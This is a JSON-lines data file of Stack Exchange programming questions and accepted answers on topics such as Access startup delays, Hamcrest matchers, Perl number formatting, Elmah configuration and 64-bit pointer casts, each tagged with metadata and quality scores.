{"id": "hf_2678ab49ae5d", "question": "<p>Is it possible to prevent the Windows Installer from running every time Access 2003 and Access 2007 are started, when they are both installed on the same machine at the same time..?</p>\n\n<p>Like many developers I need to run more than 1 version of MS Access.  I have just installed Access 2007.  If I open Access 2003 and then open Access 2007 I have to wait 3mins for the 'Configuring Microsoft Office Enterprise 2007...\" dialog.  Then if I open Access 2003 again it takes another 30secs or so to configure that.  </p>\n\n<p>PLEASE NOTE: I am using shortcuts to open the files that include the full path to Access.  Eg to open Access 2007:</p>\n\n<pre><code> \"C:\\program files\\microsoft office 12\\office12\\msaccess.exe\" \"C:\\test.accdb\"\n</code></pre>\n\n<p>and for 2003:</p>\n\n<pre><code> \"C:\\program files\\microsoft office 11\\office11\\msaccess.exe\" \"C:\\test.mdb\"  \n</code></pre>\n", "question_body": "", "answer": "This is caused by Windows Installer, which is used by both installers. Advertised shortcuts as used by both Office 2003 and Office 2007 invoke Windows Installer to check that the entire feature is installed properly; the installer detects that something else (in this case the other product) has registered the file extensions used by Access (possibly the ProgIds as well) and decides that a repair is necessary, so it invokes the 'Configuring Office' dialog and proceeds to reinstall various components.\nTo avoid this, run Access from Program Files directly; create shortcuts if you'll be doing this frequently.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.469921"}
{"id": "hf_8be52ea15bd6", "question": "<p>There is probably is simple fix for this but I currently have code similar to </p>\n\n<pre><code>dim dr as dbDataReader\n\ntry\n      dr = connection.getDataReader(sql_str)\nCatch ex as sqlClientException\n     log.error(ex)\nfinally \n\n  if not IsNothing(dr) then\n    dr.close\n  end if\nend try\n</code></pre>\n\n<p>However Visual Studio still warns me that the </p>\n\n<pre><code>if not IsNothing(dr) then\n        dr.close\n      end if\n</code></pre>\n\n<p>Can cause a NullReferenceException. What is the best way to mitigate this? I can't move the declaration into the try block.</p>\n", "question_body": "", "answer": "Your code is correct. In the\n```\nfinally\n```\nstatement, as long as you check to make sure your objects are not null, it won't throw a null reference exception based on what happens in your code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.494433"}
{"id": "hf_f03c3086632c", "question": "<p>I have an <strong>if</strong> condition which checks for value and the it throws new <strong>NumberFormatException</strong></p>\n\n<p>Is there any other way to code this</p>\n\n<pre><code>if (foo)\n{\n    throw new NumberFormatException\n}\n\n// ..\n\ncatch (NumberFormatException exc)\n{\n    // some msg...\n}\n</code></pre>\n", "question_body": "", "answer": "If your aim is to avoid to throw a new exception:\n```\n```\nif(foo)\n{\n  //some msg...\n} else\n{\n  //do something else\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.530866"}
{"id": "hf_82243969c3cf", "question": "<p>I'm setting up a new project using CruiseControl.net 1.4.</p>\n\n<p>I see from <a href=\"http://confluence.public.thoughtworks.org/display/CCNETCOMM/Contributions\" rel=\"nofollow noreferrer\">ccnet contributions</a>\nthat there are two options for a subversion repository number labeller - a\nfeature that I would really like to make use of.</p>\n\n<p>1) SVNLabeller available from <a href=\"http://www.jcxsoftware.com/jcx/ccnet-dev\" rel=\"nofollow noreferrer\">jcxsoftware</a></p>\n\n<p>and</p>\n\n<p>2) Svnrevisionlabeller available from <a href=\"http://code.google.com/p/svnrevisionlabeller/\" rel=\"nofollow noreferrer\">google code</a></p>\n\n<p>My problem is that (1) claims support for ccnet 1.4 but I can't find\nany documentation on how to configure it.</p>\n\n<p>(2) comes with documentation but does not claim to support ccnet 1.4</p>\n\n<p>Can anyone help me with either how to configure SVNLabeller or tell me\nif Svnrevisionlabeller works with 1.4? </p>\n", "question_body": "", "answer": "Have you looked at\nDavid Keaveny’s Blog Post\nregarding the SVNRevisionLabeller? The link will take you to a detailed post on it's usage.\nWe are currently testing this utility against the current release (1.4) of CCNet without any problems, i.e. it's producing the correct revision and build labels appended to the major/minor digits we specify.\nHope this helps", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.554786"}
{"id": "hf_d35d8365395c", "question": "<p>In Python, you can do this:</p>\n\n<pre><code>import webbrowser\nwebbrowser.open_new(\"http://example.com/\")\n</code></pre>\n\n<p>It will open the passed in url in the default browser</p>\n\n<p>Is there a ruby equivalent?</p>\n", "question_body": "", "answer": "Windows Only Solution:\n```\n```\nrequire 'win32ole'\nshell = WIN32OLE.new('Shell.Application')\nshell.ShellExecute(...)\n```\n```\nShell Execute on MSDN", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.579102"}
{"id": "hf_a7552b6f79a2", "question": "<p>I needed to find all the files that contained a specific string pattern. The first solution that comes to mind is using <em>find</em> piped with <em>xargs grep</em>:</p>\n\n<pre><code>find . -iname '*.py' | xargs grep -e 'YOUR_PATTERN'\n</code></pre>\n\n<p>But if I need to find patterns that spans on more than one line, I'm stuck because vanilla grep can't find multiline patterns.</p>\n", "question_body": "", "answer": "So I discovered\npcregrep\nwhich stands for\nPerl Compatible Regular Expressions GREP\n.\nthe -M option makes it possible to search for patterns that span line boundaries.\nFor example, you need to find files where the '\n_name\n' variable is followed on the next line by the '\n_description\n' variable:\n```\n```\nfind . -iname '*.py' | xargs pcregrep -M '_name.*\\n.*_description'\n```\n```\nTip: you need to include the line break character in your pattern. Depending on your platform, it could be '\\n', \\r', '\\r\\n', ...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.603242"}
{"id": "hf_9375afce5d94", "question": "<p>I am relatively new to matchers. I am toying around with <a href=\"http://code.google.com/p/hamcrest/\" rel=\"noreferrer\">hamcrest</a> in combination with JUnit and I kinda like it.</p>\n\n<p>Is there a way, to state that one of multiple choices is correct?</p>\n\n<p>Something like</p>\n\n<pre><code>assertThat( result, is( either( 1, or( 2, or( 3 ) ) ) ) ) //does not work in hamcrest\n</code></pre>\n\n<p>The method I am testing returns one element of a collection. The list may contain multiple candidates. My current implementation returns the first hit, but that is not a requirement. I would like my testcase to succeed, if any of the possible candidates is returned. How would you express this in Java?</p>\n\n<p>(I am open to hamcrest-alternatives)</p>\n", "question_body": "", "answer": "```\n```\nassertThat(result, anyOf(equalTo(1), equalTo(2), equalTo(3)))\n```\n```\nFrom\nHamcrest tutorial\n:\n```\nanyOf\n```\n- matches if any matchers match, short circuits (like Java ||)\nSee also\nJavadoc\n.\nMoreover, you could write your own Matcher, which is quite easy to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.646183"}
{"id": "hf_82b8f9d63480", "question": "<p>If you use Image.Save Method to save an image to a EMF/WMF, you get an exception (<a href=\"http://msdn.microsoft.com/en-us/library/ktx83wah.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/ktx83wah.aspx</a>)</p>\n\n<p>Is there another way to save the image to an EMF/WMF?\nAre there any encoders available?</p>\n", "question_body": "", "answer": "A metafile is a file which records a sequence of GDI operations. It is scalable because the original sequence of operations that generated the picture are captured, and therefore the co-ordinates that were recorded can be scaled.\nI think, in .NET, that you should create a\n```\nMetafile\n```\nobject, create a\n```\nGraphics\n```\nobject using\n```\nGraphics.FromImage\n```\n, then perform your drawing steps. The file is automatically updated as you draw on it. You can find a small sample in the documentation for\nGraphics.AddMetafileComment\n.\nIf you really want to store a bitmap in a metafile, use these steps then use\n```\nGraphics.DrawImage\n```\nto paint the bitmap. However, when it is scaled it will be stretched using\n```\nStretchBlt\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.671403"}
{"id": "hf_5f734e538147", "question": "<p>in Erlang I have a supervisor-tree of processes, containing one that accepts tcp/ip connections. For each incoming connection I spawn a new process. Should this process be added to the supervisor tree or not?</p>\n\n<p>Regards,\n Steve</p>\n", "question_body": "", "answer": "If you expect these processes to be many, it could be a good idea to add a supervisor under your main supervisor as to separate responsibility (and maybe use the\n```\nsimple_one_for_one\n```\nsetting to make things simpler, maybe even simpler than your current case).\nThe thing is, if you need to control these processes, it's always nice to have a supervisor. If it doesn't matter if they succeed or not, then you might not need one. But then again, I always argue that that is sloppy coding. ;-)\nThe only thing I\nwouldn't\ndo, is to add them to your existing tree, unless it is very obvious where they come from and they're fairly few.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.696040"}
{"id": "hf_bd156d598757", "question": "<p>I am wondering whether it is safe to mix jdk 1.5 and 1.6 (Java 6) object serialization (biderctional communication). I searched for an explicit statement from sun concerning this question but did not succeed. So, besides the technical feasability I am searching for an \"official\" statement concerning the problem.</p>\n", "question_body": "", "answer": "After testing with a serialized object written to a file using the ObjectOutputStream in a Java 1.5 program, then running a read with a ObjectInputStream in a Java 1.6 program I can say this worked without any issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.734271"}
{"id": "hf_9201729acfaa", "question": "<p>I need to understand the differences between windows main/mdi/child/dialogs.... how win32 messages should be propagated... why some messages are present in one type and not other...</p>\n", "question_body": "", "answer": "Im not a windows developer, but heres what I understand:\nmain window - toplevel container which you can active/see in the taskbar.\ndialog - little box locking (if modal) your window, not seeable in the taskbar. Mostly used to display message to the user.\nmdi (Multiple Document Interface) - Not directly a window but more a simple container for storing child windows. Each child window can be maximized/minimized/closed inside this container, but you wont find any of these in the taskbar.\nhttp://en.wikipedia.org/wiki/Multiple_document_interface", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.762061"}
{"id": "hf_94ffacf7d485", "question": "<p>Is there any facility of transposing rows to columns in SQL Server (it is possible in MS-Access)? \nI was befuddled because this facility is available in MS-Access but not in SQL Server. Is it by design that this feature has not been included in SQL Server?</p>\n", "question_body": "", "answer": "The example at\nhttp://jdixon.dotnetdevelopersjournal.com/pivot_table_data_in_sql_server_2000_and_2005.htm\nonly works if you know in advance what the row values can be.   For example, let's say you have an entity with custom attributes and the custom attributes are implemented as rows in a child table, where the child table is basically variable/value pairs, and those variable/value pairs are configurable.\n```\n```\ncolor red\nsize  big\ncity  Chicago\n```\n```\nI'm going to describe a technique that works.  I've used it.  I'm NOT promoting it, but it works.\nTo pivot the data where you don't know what the values can be in advance, create a temp table on the fly with no columns.  Then use a cursor to loop through your rows, issuing a dynamically built \"alter table\" for each variable, so that in the end your temp table has the columns, color, size, city.\nThen you insert one row in your temp table, update it via another cursor through the variable, value pairs, and then select it, usually joined with its parent entity, in effect making it seem like those custom variable/value pairs were like built-in columns in the original parent entity.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.787512"}
{"id": "hf_df2822e5a951", "question": "<p>What's the best way to trim a DateTime object to a specific precision?  For instance, if I have a DateTime with a value of '2008-09-29 09:41:43', but I only want it's precision to be to the minute, is there any better way to do it than this?</p>\n\n<pre><code>private static DateTime TrimDateToMinute(DateTime date)\n{\n    return new DateTime(\n        date.Year, \n        date.Month, \n        date.Day, \n        date.Hour, \n        date.Minute, \n        0);\n}\n</code></pre>\n\n<p>What I would really want is to make it variable so that I could set its precision to the second, minute, hour, or day.</p>\n", "question_body": "", "answer": "You could use an enumeration\n```\n```\npublic enum DateTimePrecision\n{\n  Hour, Minute, Second\n}\n\npublic static DateTime TrimDate(DateTime date, DateTimePrecision precision)\n{\n  switch (precision)\n  {\n    case DateTimePrecision.Hour:\n      return new DateTime(date.Year, date.Month, date.Day, date.Hour, 0, 0);\n    case DateTimePrecision.Minute:\n      return new DateTime(date.Year, date.Month, date.Day, date.Hour, date.Minute, 0);\n    case DateTimePrecision.Second:\n      return new DateTime(date.Year, date.Month, date.Day, date.Hour, date.Minute, date.Second);\n    default:\n      break;\n  }\n}\n```\n```\nand expand as required.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.813049"}
{"id": "hf_4fb837c2da92", "question": "<p>I want something like this:</p>\n\n<pre><code>&lt;msxsl:script language=\"C#\"&gt;\n   ??? getNodes() { ... return ... }\n&lt;/msxsl:script&gt;\n\n&lt;xsl:for-each select=\"user:getNodes()\"&gt;\n    ...\n&lt;/xsl:for-each&gt;\n</code></pre>\n\n<p>What return type should i use for <code>getNodes()</code> and what should i put in it's body?</p>\n", "question_body": "", "answer": "A quick google for C# xslt msxml revealed a link to the following page which gives many examples of extending XSLT in microsoft environments.\nhttp://msdn.microsoft.com/en-us/magazine/cc302079.aspx\nSpecifically the section on Mapping Types between XSLT and .Net gives you exactly the information you need:\nW3C XPath Type -  Equivalent .NET Class (Type)\nString - System.String\nBoolean - System.Boolean\nNumber - System.Double\nResult Tree Fragment - System.Xml.XPath.XPathNavigator\nNode Set - System.Xml.XPath.XPathNodeIterator\nSo in your example I would try XPathNodeLiterator.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.854142"}
{"id": "hf_9fae759a8b12", "question": "<p>How can I write an insert statement which includes the &amp; character?  For example, if I wanted to insert \"J&amp;J Construction\" into a column in the database.</p>\n\n<p>I'm not sure if it makes a difference, but I'm using Oracle 9i.</p>\n", "question_body": "", "answer": "If you are using sql plus then I think that you need to issue the command\n```\n```\nSET SCAN OFF\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.917272"}
{"id": "hf_815df1bd5651", "question": "<p>I just got started using Adobe Flex SDK.  I was very excited because it's the first time I've found a good, <strong>free</strong> way to create Flash applications.  But then I noticed something: Flex doesn't seem to be much about making animations or designs.  It seems more like an application to build forms and menus and the like... which I can already do in (D)HTML.</p>\n\n<p>What features does Flex have that make it better than HTML in some cases?</p>\n\n<p>Also, are there any techniques/software programs that would allow me to add the flash/design components that I mentioned earlier?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Flex, like Silverlight, is marketed for the creation of something called RIA = rich internet application. The idea being that (D)HTML isn't really well-suited to create large-scale, well-responding applications on the web. I'm not sure whether this is really (still) true but historically, it fits.\nFlex and Silverlight attempt to correct this by providing two things: a different, extensible technology along with a large library and an adapted toolset for the creation of applications. The disadvantage in both cases is the dependency from further (non-free, non-standard) components. The advantage is a potentially much more productive workflow and better performance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.942169"}
{"id": "hf_a2fcb6a7844e", "question": "<p>It is easy to highlight a selected datagrid row, by for example using toggleClass in the tr's click event.  But how best to later remove the highlight after a different row has been selected?   Iterating over all the rows to unhighlight them could become expensive for larger datagrids.  I'd be interested in the simplest solution, as well as the most performant.</p>\n\n<p>Thanks,<br>\nMike </p>\n", "question_body": "", "answer": "If you just want to find items that have\ntoggledClass\nand turn that off using jQuery:\n```\n```\n$('.toggledClass').removeClass('toggledClass');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.979786"}
{"id": "hf_fcbb952f75a5", "question": "<p>When loading XML into an XmlDocument, i.e.</p>\n\n<pre>\nXmlDocument document = new XmlDocument();\ndocument.LoadXml(xmlData);\n</pre>\n\n<p>is there any way to stop the process from replacing entities? I've got a strange problem where I've got a TM symbol (stored as the entity #8482) in the xml being converted into the TM character. As far as I'm concerned this shouldn't happen as the XML document has the encoding ISO-8859-1 (which doesn't have the TM symbol)</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I confess things get a little confusing with XML documents and encodings, but I'd hope that it would get set appropriate when you save it again, if you're still using ISO-8859-1 - but that if you save with UTF-8, it wouldn't need to. In some ways, logically the document really contains the symbol rather the entity reference - the latter is just an encoding matter. (I'm thinking aloud here - please don't take this as authoritative information.)\nWhat are you doing with the document after loading it?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.050280"}
{"id": "hf_15d853afc540", "question": "<p>I'm a VMware user and far too often I use keyboard shortcuts while programming. However, this has proved to be quite distressing as sometimes the VMware gets hold of it and turns off / pauses (<kbd>Ctrl</kbd>+<kbd>Z</kbd>) the virtual machine.</p>\n\n<p>Is there a way to disable keyboard shortcuts on VMware? Has anyone here ever found a workaround? </p>\n", "question_body": "", "answer": "I use AutoHotKey (are you running VMWare on Windows ?) to disable certain shortcuts. You can find this tool here:\nhttp://www.autohotkey.com/\nIt's open source and I quite like it. Can be used for automation tasks, but you can also have it respond differently to different windows. With some AHK scripting, I think you should be able to fix your problem.\nThe site had got loads of tutorials too on writing handy scripts.\nGood luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.073867"}
{"id": "hf_f38562169702", "question": "<p>In Visual Studio with TFS as source control, when I view the history and double click a cs file, the file is loaded in notepad. How can i change the application to be notepad++? </p>\n\n<p>I also would like the OS's default application for the file to still be visual studio</p>\n", "question_body": "", "answer": "I don't see any options in Visual Studio for changing that, so I'm guessing it uses the system's default text editor.\nTry assigning Notepad++ as the default handler for *.cs files.\nYou can do this from withing Notepad++ by going to Settings/Preference/File Association.\nYou can also do it by right-clicking on a .cs file in explorer, go to Open With/Choose Program..., then select Notepad++ and check the \"Always use the selected program to open this kind of file\" box before hitting OK.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.109774"}
{"id": "hf_d970165c8865", "question": "<p>There is a GUI ADM2 Progress v9 application using AppServer. </p>\n\n<p>It needs to give users an ability to view MS Excel files stored on the AppServer. So far it:</p>\n\n<ol>\n<li>Pulls .xls file from AppServer to a local drive.</li>\n<li>Fires up a copy of MS Excel and opens the file.</li>\n</ol>\n\n<p>The problem is that the temporary file on the local drive needs to be removed once it's no longer required. Any hints?</p>\n", "question_body": "", "answer": "If you are \"firing up a copy of Excel\", is there any special reason you can't just point that \"fired-up\" Excel application at the file on your App Server?\nIf you are starting Excel from a command-line shell, you could just go\n```\nExcel.exe \"http://myserver/myexcelbook.xls\"\n```\nright?\nIf you are opening it via something like Office Interop Assemblies, then you can key off of the\n```\nApplication.WorkBookBeforeClose\n```\nevent like\n```\n```\nThisMethodHandlesTheWorkbookBeforeCloseEvent()\n{\n  DeleteTheFile();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.144968"}
{"id": "hf_d0e7b7dde31e", "question": "<p>I'm wondering if a Java library can be called from a VB.net application.</p>\n\n<p>(A Google search turns up lots of shady answers, but nothing definitive)</p>\n", "question_body": "", "answer": "No, you can't. Unless you are willing to use some \"J#\" libraries (which is not nearly the same as Java) or\nIKVM\nwhich is a Java implementation that runs on top of .NET, but as their documentation says:\nIKVM.OpenJDK.ClassLibrary.dll: compiled version of the Java class libraries derived from the OpenJDK class library with some parts filled in with code from GNU Classpath and IcedTea, plus some additional IKVM.NET specific code.\nSo it's not the real deal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.169431"}
{"id": "hf_90118da118f9", "question": "<p>Do you know an easy and straight-forward method/sub/module which allows me to convert a number (say 1234567.89) to an easily readable form - something like 1.23M?</p>\n\n<p>Right now I can do this by making several comparisons, but I'm not happy with my method:</p>\n\n<pre><code>if($bytes &gt; 1000000000){ \n   $bytes = ( sprintf( \"%0.2f\", $bytes/1000000000 )). \" Gb/s\";                   \n}\nelsif ($bytes &gt; 1000000){       \n   $bytes = ( sprintf( \"%0.2f\", $bytes/1000000 )). \" Mb/s\"; \n}\nelsif ($bytes &gt; 1000){\n   $bytes = ( sprintf( \"%0.2f\", $bytes/1000 )). \" Kb/s\"; \n}\nelse{ \n   $bytes = sprintf( \"%0.2f\", $bytes ). \"b/s\";\n}                                                                  \n</code></pre>\n\n<p>Thank you for your help!</p>\n", "question_body": "", "answer": "The\nNumber::Bytes::Human\nmodule should be able to help you out.\nAn example of how to use it can be found in its synopsis:\n```\n```\nuse Number::Bytes::Human qw(format_bytes);\n\n  $size = format_bytes(0); # '0'\n  $size = format_bytes(2*1024); # '2.0K'\n\n  $size = format_bytes(1_234_890, bs => 1000); # '1.3M'\n  $size = format_bytes(1E9, bs => 1000); # '1.0G'\n\n  # the OO way\n  $human = Number::Bytes::Human->new(bs => 1000, si => 1);\n  $size = $human->format(1E7); # '10MB'\n  $human->set_options(zero => '-');\n  $size = $human->format(0); # '-'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.193316"}
{"id": "hf_f7261da16b65", "question": "<p>I'm new to mock objects, but I understand that I need to have my classes implement interfaces in order to mock them.</p>\n\n<p>The problem I'm having is that in my data access layer, I want to have static methods, but I can't put a static method in an interface.  </p>\n\n<p>What's the best way around this?  Should I just use instance methods (which seems wrong) or is there another solution?</p>\n", "question_body": "", "answer": "I would use a method object pattern. Have a static instance of this, and call it in the static method. It should be possible to subclass for testing, depending on your mocking framework.\ni.e. in your class with the static method have:\n```\n```\nprivate static final MethodObject methodObject = new MethodObject();\n\npublic static void doSomething(){\n    methodObject.doSomething();\n}\n```\n```\nand your method object can be a very simple, easily-tested:\n```\n```\npublic class MethodObject {\n    public void doSomething() {\n        // do your thang\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.338630"}
{"id": "hf_ce5657211309", "question": "<p>I need to change the app name based on what configuration I'm using in Visual Studio. For example, if I'm in Debug configuration, I want the app name to show as 'App_Debug' in the Application field in the Elmah_Error table. Does anyone have any experience with this? Or is there another way to do it?</p>\n", "question_body": "", "answer": "By default, Elmah uses the AppPool's application GUID as the default application name.  It uses this as the key to identify the errors in the Elmah_Error table when you look at the web interface that's created through it's HTTP Module.\nI was tasked to explore this option for my company earlier this year.  I couldn't find a way to manipulate this by default since Elmah pulls the application name from\n```\nHttpRuntime.AppDomainAppId\n```\nin the ErrorLog.cs file.  You could manipulate it by whatever key you want; however, that is the AppPool's GUID.\nWith that said, I was able to manipulate the ErrorLog.cs file to turn Elmah into a callable framework instead of a handler based one and allow for me set the ApplicationName.  What I ended up doing was modifying ErrorLog.cs to include a property that allowed me to set the name as below:\n```\n```\npublic virtual string ApplicationName\n{\n    get \n    {\n        if (_applicationName == null) {  _applicationName = HttpRuntime.AppDomainAppId; }\n        return _applicationName;\n    }\n    set { _applicationName = value; }\n}\n```\n```\nWhat you will probably need to do is adjust this differently and set the ApplicationName not to\n```\nHttpRuntime.AppDomainAppId\n```\nbut, instead, a value pulled from the web.config.  All in all, it's possible.  The way I did it enhanced the\n```\nErrorLog.Log(ex)\n```\nmethod so I could use Elmah has a callable framework beyond web applications.  Looking back I wish I did the app/web.config approach instead.\nOne thing to keep in mind when changing the application name in Elmah.  The http handler that generates the /elmah/default.aspx interface will no longer work. I'm still trying to find time to circle back around to such; however, you may need to look into creating a custom interface when implementing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.384928"}
{"id": "hf_7468e3a031d7", "question": "<p>I am trying to adapt an existing code to a 64 bit machine. The main problem is that in one function, the previous coder uses a void* argument that is converted into suitable type in the function itself. A short example:</p>\n\n<pre><code>void function(MESSAGE_ID id, void* param)\n{\n    if(id == FOO) {\n        int real_param = (int)param;\n        // ...\n    }\n}\n</code></pre>\n\n<p>Of course, on a 64 bit machine, I get the error:</p>\n\n<pre><code>error: cast from 'void*' to 'int' loses precision\n</code></pre>\n\n<p>I would like to correct this so that it still works on a 32 bit machine and as cleanly as possible. Any idea ?</p>\n", "question_body": "", "answer": "Use\n```\nintptr_t\n```\nand\n```\nuintptr_t\n```\n.\nTo ensure it is defined in a portable way, you can use code like this:\n```\n```\n#if defined(__BORLANDC__)\n    typedef unsigned char uint8_t;\n    typedef __int64 int64_t;\n    typedef unsigned long uintptr_t;\n#elif defined(_MSC_VER)\n    typedef unsigned char uint8_t;\n    typedef __int64 int64_t;\n#else\n    #include <stdint.h>\n#endif\n```\n```\nJust place that in some .h file and include wherever you need it.\nAlternatively, you can download Microsoft’s version of the\n```\nstdint.h\n```\nfile from\nhere\nor use a portable one from\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.445547"}
{"id": "hf_8d50b24ca86e", "question": "<p>The interop library is slow and needs MS Office installed. \nMany times you don't want to install MS Office on servers.</p>\n\n<p>I'd like to use <a href=\"http://en.wikipedia.org/wiki/Apache_POI\" rel=\"nofollow noreferrer\">Apache POI</a>, but I'm on .NET.</p>\n\n<p>I need only to extract the text portion of the files, not creating nor \"storing information\" in Office files.</p>\n\n<p>I need to tell you that I've got a very large document library, and I can't convert it to newer XML files.</p>\n\n<p>I don't want to write a parser for the binaries files. \nA library like Apache POI does this for us. Unfortunately, it is only for the Java platform. Maybe I should consider writing this application in Java.</p>\n\n<p>I am still not finding an open source alternative to POI in .NET, I think I'll write my own application in Java.</p>\n", "question_body": "", "answer": "What do you need to do with those file?  If you just want to stream them to the user, then the basic file streams are fine.  If you want to create new files (perhaps based on a template) to send to the user that the user can open in Office, there are a variety or\nwork-arounds\n.\nIf you're actually keeping data in Office documents for use by your web site, you're doing it wrong.  Office documents, even Excel spreadsheets and access databases, are not really an appropriate choice for use with an interactive web site.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.494569"}
